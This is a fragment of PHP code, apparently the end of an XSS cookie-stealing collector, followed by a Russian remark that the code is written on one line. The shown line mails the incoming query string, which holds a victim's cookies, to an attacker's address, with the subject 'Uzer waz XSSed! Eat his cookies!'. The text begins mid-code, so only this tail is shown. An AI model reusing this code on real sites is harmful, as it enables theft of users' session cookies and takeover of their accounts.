{ mail ($mailaddr, "Uzer waz XSSed! Eat his cookies! ", "$_SERVER
['QUERY_STRING']"); }
?>

это одной строкой, перенос линии в самом коде не делается посреди кода.